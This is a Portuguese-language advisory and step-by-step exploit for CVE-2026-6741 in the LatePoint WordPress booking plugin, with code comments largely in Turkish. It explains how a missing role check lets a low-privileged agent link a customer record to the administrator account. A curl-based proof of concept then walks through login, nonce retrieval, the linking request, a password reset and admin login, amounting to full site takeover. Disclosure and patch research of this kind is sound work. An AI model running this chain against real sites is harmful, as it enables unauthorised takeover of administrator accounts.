CVE-2026-6741

CVE-2026-6741 é uma vulnerabilidade de escalação de privilégios autenticada (Agent+) com CVSS 8.8 (Alta) no plugin LatePoint – Calendar Booking Plugin

CVE-2026-6741 — Scanner de Escalação de Privilégios do LatePoint

Plugin: LatePoint – Calendar Booking Plugin for Appointments and Events (latepoint) CVE ID: CVE-2026-6741 Pontuação CVSS: 8.8 (Alta) Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Tipo de Vulnerabilidade: Escalação de Privilégios Autenticada (Agent+) → Assunção de Administrador Versões Afetadas: <= 5.4.1 Versão Corrigida: 5.4.2 Data de Publicação: 27 de abril de 2026 Pesquisadores: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence

---

📌 Sobre a Vulnerabilidade

Um atacante autenticado com o papel latepoint_agent pode vincular qualquer registro de cliente (customer) do LatePoint a uma conta de administrador do WordPress e, em seguida, alterar a senha do administrador usando o próprio fluxo de redefinição de senha do LatePoint.

Isso resulta na tomada total do site.

---

🔍 Resumo da Vulnerabilidade

Campo	Valor
Nome do Plugin	LatePoint – Calendar Booking Plugin
Plugin Slug	latepoint
CVE ID	CVE-2026-6741
Pontuação CVSS	8.8 (Alta)
Tipo de Vulnerabilidade	Escalação de Privilégios Autenticada (Agent+)
Versão Afetada	<= 5.4.1
Versão Corrigida	5.4.2
Requisito	papel latepoint_agent, WordPress 6.9+

---

⚙️ Análise Técnica

WordPress Abilities API

O LatePoint 5.3.0 adicionou suporte à Abilities API que veio com o WordPress 6.9+. Essa API permite que os plugins registrem classes de "ability" que podem ser chamadas via REST API:

// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

---

Caminho de Código Vulnerável

1 — Definição da Ability (Verificação de Papel Ausente)

// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← tek kontrol: bu capability
}

O papel de agente possui a capacidade customer__edit por padrão:

// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent bu yetkiye sahip
        ...
    ];
}

2 — execute() — Sem Verificação de Papel

// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Sadece kullanıcının var olup olmadığı kontrol ediliyor
        // EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← herhangi bir WP user'a bağla
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — Cadeia de Redefinição de Senha

// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
    }
}

---

Por que os Controles Atuais São Insuficientes?

// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Sadece ÇAĞIRANIN yetkisini kontrol eder
    // HEDEF kullanıcının rolünü kontrol etmez
}

---

🔴 Cadeia de Ataque

latepoint_agent hesabı
        │
        ▼
1. Agent olarak WP'ye giriş yap → REST nonce al
        │
        ▼
2. Hedef admin WordPress user ID'sini tespit et
   (wp-json/wp/v2/users veya ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → Rol kontrolü yok → Başarılı
        │
        ▼
4. LatePoint forgot_password → customer emailine reset token gönder
        │
        ▼
5. Token ile change_password → update_password() çağrılır
   → wp_set_password("Hacked!", 1)
   → Admin şifresi değişti
        │
        ▼
6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓

---

🧪 Prova de Conceito (Manual)

⚠️ Aviso Legal: Este PoC é fornecido apenas para fins educacionais e de pesquisa em segurança defensiva.

Pré-requisitos:

• WordPress 6.9+ (Abilities API necessária)
• LatePoint <= 5.4.1 instalado e ativo
• Conta com o papel latepoint_agent
• Um registro de cliente (customer) do LatePoint sob controle

---

Passo 1 — Login do Agente + Nonce REST

WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# REST nonce al
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

---

Passo 2 — Descoberta do ID do Usuário Admin

# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # Genellikle ID=1

---

Passo 3 — Vinculação Customer → Admin (Vulnerabilidade)

CUSTOMER_ID=5   # Kontrol ettiğin LatePoint customer ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

Resposta esperada:

{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

---

Passo 4 — Iniciar Redefinição de Senha

CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

O LatePoint envia um e-mail de redefinição contendo o token account_nonce para $CUSTOMER_EMAIL.

---

Passo 5 — Alterar Senha

RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

Essa chamada aciona a cadeia update_password() → wp_set_password($NEW_PASSWORD, 1). A senha do admin foi alterada.

---

Passo 6 — Autenticar como Admin

curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

---

Verificação

# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)

# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")